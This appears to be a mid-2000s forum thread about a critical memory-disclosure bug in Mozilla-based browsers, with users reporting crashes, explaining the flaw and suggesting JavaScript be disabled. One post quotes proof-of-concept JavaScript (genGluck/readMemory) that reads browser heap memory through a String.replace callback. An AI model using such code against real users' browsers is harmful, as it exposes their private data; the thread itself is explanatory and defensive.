Critacal flaw in Mozilla based browsers
Moderator: Thanas
- Faram
- Bastard Operator from Hell
- Posts: 5271
- Joined: 2002-07-04 07:39am
- Location: Fighting Polarbears
Critacal flaw in Mozilla based browsers
[img=right]http://hem.bredband.net/b217293/warsaban.gif[/img]
"Either God wants to abolish evil, and cannot; or he can, but does not want to. ... If he wants to, but cannot, he is impotent. If he can, but does not want to, he is wicked. ... If, as they say, God can abolish evil, and God really wants to do it, why is there evil in the world?" -Epicurus
Fear is the mother of all gods.
Nature does all things spontaneously, by herself, without the meddling of the gods. -Lucretius
"Either God wants to abolish evil, and cannot; or he can, but does not want to. ... If he wants to, but cannot, he is impotent. If he can, but does not want to, he is wicked. ... If, as they say, God can abolish evil, and God really wants to do it, why is there evil in the world?" -Epicurus
Fear is the mother of all gods.
Nature does all things spontaneously, by herself, without the meddling of the gods. -Lucretius
- Terr Fangbite
- Padawan Learner
- Posts: 363
- Joined: 2004-07-08 12:21am
Windows crashed Mozilla when I tried running the script. Repeatedly. Funny that.
Beware Windows. Linux Comes.
http://ammtb.keenspace.com
http://ammtb.keenspace.com
- Guy N. Cognito
- Padawan Learner
- Posts: 488
- Joined: 2004-06-02 01:26am
- Location: Vancouver B.C
- Contact:
- Master of Ossus
- Darkest Knight
- Posts: 18213
- Joined: 2002-07-11 01:35am
- Location: California
All you have to do is disable JAVA scripting, which is pretty easy with Mozilla (I had actually already done it).
"Sometimes I think you WANT us to fail." "Shut up, just shut up!" -Two Guys from Kabul
Latinum Star Recipient; Hacker's Cross Award Winner
"one soler flar can vapririze the planit or malt the nickl in lass than millasacit" -Bagara1000
"Happiness is just a Flaming Moe away."
Latinum Star Recipient; Hacker's Cross Award Winner
"one soler flar can vapririze the planit or malt the nickl in lass than millasacit" -Bagara1000
"Happiness is just a Flaming Moe away."
- GrandMasterTerwynn
- Emperor's Hand
- Posts: 6787
- Joined: 2002-07-29 06:14pm
- Location: Somewhere on Earth.
Yep. That's what happens when you try to access memory that doesn't belong to you. Seg. fault/core dump.Praxis wrote:Weird. It worked, showing some sites I had just been to. I clicked a couple more times and suddenly Firefox crashed.
This is an appallingly bad security bug.
Tales of the Known Worlds:
2070s - The Seventy-Niners ... 3500s - Fair as Death ... 4900s - Against Improbable Odds V 1.0
2070s - The Seventy-Niners ... 3500s - Fair as Death ... 4900s - Against Improbable Odds V 1.0
- Dooey Jo
- Sith Devotee
- Posts: 3127
- Joined: 2002-08-09 01:09pm
- Location: The land beyond the forest; Sweden.
- Contact:
Here's the code that does it (except those three Xs should actually be 10 000) :
Now, how the hell does that work? That first regexp up there should replace "end" with nothing, right? And the second regexp replaces all "end" with something before with nothing, so all that basically does is removes that last "end". And that last, mem.replace, should replace most readable characters with a blank space, so why does it write characters from the memory?
This seems to be almost as weird as the time when IE started hating my if-s (which was very weird, but then again, it was IE...)
Code: Select all
function genGluck(str){
var x = str;
var rx=/end/i;
x = x.replace(rx,function($1){
$1.match(rx);
return "";
});
x = x.replace(/^end/,"");
return x;
}
function readMemory()
{
var mem = genGluck("XXXend");
mem = mem.replace(/[^\.\\\:\/\'\(\)\"\_\?\=\%\&\;\#\@\- a-zA-Z0-9]+/g, " ");
document.getElementById('result').value = mem;
}
This seems to be almost as weird as the time when IE started hating my if-s (which was very weird, but then again, it was IE...)
"Nippon ichi, bitches! Boing-boing."
Mai smote the demonic fires of heck...
Faker Ninjas invented ninjitsu
Mai smote the demonic fires of heck...
Faker Ninjas invented ninjitsu
- Spacebeard
- Padawan Learner
- Posts: 473
- Joined: 2005-03-21 10:52pm
- Location: MD, USA
The last regexp is doing the reverse of what you say: it's keeping only the human-readable characters, and replacing unprintable characters with a space. Note the '^' at the front of the set; it's matching characters in the complement of that set.Dooey Jo wrote: Now, how the hell does that work? That first regexp up there should replace "end" with nothing, right? And the second regexp replaces all "end" with something before with nothing, so all that basically does is removes that last "end". And that last, mem.replace, should replace most readable characters with a blank space, so why does it write characters from the memory?
The bug is exploited in the 'genGluck' function. I'm not familiar with Javascript, but it looks as though by using a lambda function as the argument to 'replace' as they do, they are able to read off the end of their allocated string and into the heap. Probably the memory accessible to them depends on where in the heap their string got allocated.
Until there is a fix available, I would turn off Javascript as much as possible, turning it on only for sites that demand the use of it. I would also quit the browser and relaunch after viewing or entering sensitive information.
"This war, all around us, is being fought over the very meanings of words." - Chad, Deus Ex
- Dooey Jo
- Sith Devotee
- Posts: 3127
- Joined: 2002-08-09 01:09pm
- Location: The land beyond the forest; Sweden.
- Contact:
Javascript can be very useful, too. Most websites would be a lot less functional without it (for most people anyway). It sucks though that there are people out there that use it to do bad stuff, but I guess that's just the way humans are. Someone comes up with a great idea and someone else have to use it do annoy the shit out of others...
Ah yes, right you are! *cleans glasses*Spacebeard wrote:The last regexp is doing the reverse of what you say: it's keeping only the human-readable characters, and replacing unprintable characters with a space. Note the '^' at the front of the set; it's matching characters in the complement of that set.
Yes, that is what I find strange. That function should just replace the match with nothing, it should not make memory accessible. Well, I guess that's why it's a bug...The bug is exploited in the 'genGluck' function. I'm not familiar with Javascript, but it looks as though by using a lambda function as the argument to 'replace' as they do, they are able to read off the end of their allocated string and into the heap. Probably the memory accessible to them depends on where in the heap their string got allocated.
"Nippon ichi, bitches! Boing-boing."
Mai smote the demonic fires of heck...
Faker Ninjas invented ninjitsu
Mai smote the demonic fires of heck...
Faker Ninjas invented ninjitsu
- Natorgator
- Jedi Knight
- Posts: 856
- Joined: 2003-04-26 08:23pm
- Location: Atlanta, GA
- The Dark
- Emperor's Hand
- Posts: 7378
- Joined: 2002-10-31 10:28pm
- Location: Promoting ornithological awareness
*shrug* I don't have Java installed for my Firefox anyway (at least, I don't think I do). I still use IE for Java work because the webpages I work on recognize my copy of it. I wonder if ZoneAlarm blocks that security hole...
BattleTech for SilCoreStanley Hauerwas wrote:[W]hy is it that no one is angry at the inequality of income in this country? I mean, the inequality of income is unbelievable. Unbelievable. Why isn’t that ever an issue of politics? Because you don’t live in a democracy. You live in a plutocracy. Money rules.
- Uraniun235
- Emperor's Hand
- Posts: 13772
- Joined: 2002-09-12 12:47am
- Location: OREGON
- Contact:
- The Dark
- Emperor's Hand
- Posts: 7378
- Joined: 2002-10-31 10:28pm
- Location: Promoting ornithological awareness
Doh! . I can't read today. That's what comes of reading through multiple things at work, none of them get read completely correct.Uraniun235 wrote:Java is not the same as JavaScript.The Dark wrote:*shrug* I don't have Java installed for my Firefox anyway (at least, I don't think I do). I still use IE for Java work because the webpages I work on recognize my copy of it. I wonder if ZoneAlarm blocks that security hole...
BattleTech for SilCoreStanley Hauerwas wrote:[W]hy is it that no one is angry at the inequality of income in this country? I mean, the inequality of income is unbelievable. Unbelievable. Why isn’t that ever an issue of politics? Because you don’t live in a democracy. You live in a plutocracy. Money rules.
For example, both Google Maps and Gmail heavily use JavaScript. The technology is generically known as Ajax, or "Asynchronous JavaScript + XML."Dooey Jo wrote:Javascript can be very useful, too. Most websites would be a lot less functional without it (for most people anyway). It sucks though that there are people out there that use it to do bad stuff, but I guess that's just the way humans are. Someone comes up with a great idea and someone else have to use it do annoy the shit out of others...